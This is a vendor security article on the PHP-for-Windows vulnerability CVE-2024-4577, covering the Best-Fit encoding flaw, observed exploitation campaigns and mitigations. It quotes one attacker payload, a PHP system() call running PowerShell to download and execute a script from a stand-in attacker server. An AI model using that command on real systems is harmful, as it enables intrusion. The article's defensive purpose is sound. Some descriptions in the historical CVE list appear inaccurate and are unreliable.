Critical Vulnerability CVE-2024-4577: Understanding the Threat and Its Exploitation in the Wild

Introduction

A critical vulnerability in PHP for Windows (CVE-2024-4577) has become a significant cybersecurity concern since its disclosure in June 2024. With a CVSS score of 9.8, this high-severity remote code execution vulnerability affects all PHP versions on Windows systems. What makes this vulnerability particularly concerning is not just its severity, but the widespread exploitation that threat intelligence firms have observed since January 2025.

The fix for CVE-2024-4577 for PHP on Windows is available through TuxCare’s PHP Endless Lifecycle Support service. Windows is now a supported platform for PHP ELS.

This article explores CVE-2024-4577 in depth, examining how it works, how it’s being exploited, and what organizations can do to protect themselves. While we have already written about this particular vulnerability in a previous article, the “exploitation in the wild” factor makes it relevant once again.

Technical Deep Dive: Understanding the Vulnerability

CVE-2024-4577 is a remote code execution (RCE) vulnerability that affects Windows-based PHP installations using CGI configurations. The vulnerability exists because PHP’s implementation in Windows did not properly account for the “Best-Fit” behavior in Windows code pages.

The “Best-Fit” Behavior Mechanism

At the core of this vulnerability is a Windows-specific encoding conversion feature known as “Best-Fit.” This feature controls how Unicode characters are converted to the closest matching ANSI characters when the exact character cannot be represented in the target code page.

When Windows performs this conversion on command line arguments:

1. Characters that can’t be directly represented in the target code page are replaced with similar-looking characters
2. These replacements follow a “best-fit” mapping table built into Windows
3. The PHP-CGI module then misinterprets these converted characters as PHP command line options

This behavior creates a dangerous situation where specially crafted inputs can be transformed into command line arguments that PHP will process as options.

What Makes This Vulnerability Dangerous

This vulnerability is particularly insidious because it bypasses the protections implemented for a decade-old vulnerability (CVE-2012-1823), which was a similar issue where the php-cgi module processed query string parameters as command line arguments.

The problem is magnified in specific language environments:

• Traditional Chinese (Code Page 950)
• Simplified Chinese (Code Page 936)
• Japanese (Code Page 932)

However, researchers have warned that exploitation scenarios cannot be completely enumerated for other locales such as English, Korean, and Western European, making this vulnerability a potential threat to a wide range of PHP deployments on Windows.

Exploitation in the Wild

Since January 2025, security firms have observed mass exploitation of CVE-2024-4577. According to GreyNoise, their “Global Observation Grid” detected 1,089 unique IP addresses attempting to exploit this vulnerability in January 2025 alone. Furthermore, there are now 79 publicly available exploits targeting this vulnerability.

Attack Methodology

Threat actors typically exploit this vulnerability through the following steps:

1. Initial Access: Attackers use a Python script (like “PHP-CGI_CVE-2024-4577_RCE.py”) to check if a target URL is vulnerable by sending specifically crafted POST requests. 
2. Code Execution: Upon successful exploitation, attackers execute embedded PowerShell commands in PHP code: 

<?php system (‘powershell -c “Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\’http[://]attacker-server[:]port/payload[.]ps1\’)”‘);?>

1. Payload Delivery: The PowerShell script downloads and executes a second-stage payload that often contains Cobalt Strike shellcode. 
2. Post-Exploitation: Once inside the system, attackers: 
   • Elevate privileges using tools like JuicyPotato, RottenPotato, and SweetPotato
   • Establish persistence through registry modifications, scheduled tasks, and malicious services
   • Erase event logs to cover their tracks
   • Conduct network reconnaissance for lateral movement
   • Extract credentials using tools like Mimikatz

Notable Attack Campaigns

Security researchers have identified several organized attack campaigns:

1. Targeting Japanese Organizations: Cisco Talos documented attacks primarily targeting Japanese organizations across various sectors including education, entertainment, ecommerce, technology, and telecommunications. The attackers used the Cobalt Strike kit “TaoWu” for post-exploitation activities. 
2. Global Exploitation Campaign: GreyNoise reported that exploitation activity has expanded beyond Japan, with notable spikes in the US, UK, Singapore, Indonesia, Taiwan, Hong Kong, India, Spain, and Malaysia. Over 43% of attacking IPs originated from Germany and China. 

Why This Vulnerability Enables Other Vulnerabilities

CVE-2024-4577 is particularly concerning because it enables other vulnerabilities to become more dangerous. This is due to several factors:

1. Chain Reaction Effect: Successful exploitation gives attackers direct code execution capabilities, which can be used to exploit previously unattainable vulnerabilities that require local access. 
2. Privilege Escalation Enabler: Once inside a system, attackers can deploy privilege escalation tools, potentially turning low-severity vulnerabilities into critical ones. 
3. Persistence Mechanism: The vulnerability allows attackers to establish persistence, creating opportunities to exploit future vulnerabilities that may emerge. 
4. Bypass of Previous Mitigations: This vulnerability specifically bypasses mitigations for CVE-2012-1823, highlighting how encoding conversion issues can undermine security measures. 

Mitigations and Recommendations

Organizations running PHP on Windows systems should take the following steps immediately:

1. Update PHP: Update to patched versions: 
   • PHP 8.1.29
   • PHP 8.2.20
   • PHP 8.3.8
2. Alternative Deployment Models: Consider using PHP with a different server model than CGI, such as PHP-FPM. 
3. Web Application Firewall (WAF): Deploy a WAF that can detect and block exploitation attempts of CVE-2024-4577. 
4. System Monitoring: Implement robust logging and monitoring to detect post-exploitation activities. 
5. Network Segmentation: Limit the potential for lateral movement by implementing proper network segmentation. 
6. Regular Security Audits: Conduct regular security assessments to identify and address potential vulnerabilities. 

Historical Context: Similar Encoding Conversion Vulnerabilities

CVE-2024-4577 is not the first vulnerability to exploit encoding conversion mechanisms. Several notable examples highlight how these mechanisms have been security weak points:

Previous PHP-Related Encoding Vulnerabilities

1. CVE-2010-4645: A vulnerability in PHP’s handling of multibyte character sets that allowed attackers to bypass input filtering. While not directly exploiting Best-Fit behavior, it demonstrated how character encoding issues could lead to security problems. 
2. CVE-2015-2348: This vulnerability in PHP allowed attackers to inject arbitrary query parameters by exploiting Unicode conversion issues. Similar to CVE-2024-4577, it involved the misinterpretation of characters after conversion. 

Wider Windows Encoding Issues

1. CVE-2016-3238: A vulnerability in Windows that allowed elevation of privileges through Unicode character mapping. Attackers could use specially crafted files with names containing specific Unicode characters that, when converted, would be interpreted differently by different Windows components. 
2. CVE-2019-1388: While primarily a UI spoofing vulnerability, this exploit leveraged how Windows handled Unicode characters in certificate dialogs, demonstrating how encoding conversion could confuse system components. 
3. CVE-2020-0687: A remote code execution vulnerability in Windows that involved improper handling of Unicode characters, allowing attackers to execute code if a user viewed a specially crafted document. 

Web Application Framework Vulnerabilities

1. CVE-2020-10735: A denial-of-service vulnerability in Python that involved the handling of Unicode characters. Attackers could cause excessive CPU consumption by exploiting how Python converts between different Unicode representations. 
2. CVE-2021-42574: The “Trojan Source” vulnerability that affected multiple programming languages. This vulnerability exploited Unicode bidirectional (BiDi) control characters to create source code that appeared different from what was actually executed. 

These historical vulnerabilities demonstrate that encoding conversion mechanisms have been a persistent security challenge across various platforms and languages. The Best-Fit behavior exploited in CVE-2024-4577 represents a particularly dangerous variant because it directly impacts command line interpretation, potentially giving attackers direct code execution capabilities.

Final Thoughts

CVE-2024-4577 represents a significant threat to organizations running PHP on Windows servers. The vulnerability’s exploitation in the wild, combined with its ability to enable other vulnerabilities, makes it particularly dangerous.

Security teams should prioritize patching this vulnerability and implementing appropriate mitigations. Additionally, this vulnerability serves as an important reminder that encoding conversion mechanisms can introduce subtle security flaws that bypass existing protections, highlighting the need for comprehensive security testing across different language environments and code pages.

By understanding the mechanics of CVE-2024-4577 and the current exploitation landscape, organizations can better protect themselves against this critical threat.

Sources:

https://www.securityweek.com/mass-exploitation-of-critical-php-vulnerability-begins/

https://www.securityweek.com/php-patches-critical-remote-code-execution-vulnerability/

https://blog.talosintelligence.com/new-persistent-attacks-japan/

Summary

Article Name

Critical Vulnerability CVE-2024-4577

Description

A critical vulnerability in PHP for Windows (CVE-2024-4577) has become a significant cybersecurity concern since its disclosure in June 2024.

Author

Joao Correia

Publisher Name

TuxCare

Publisher Logo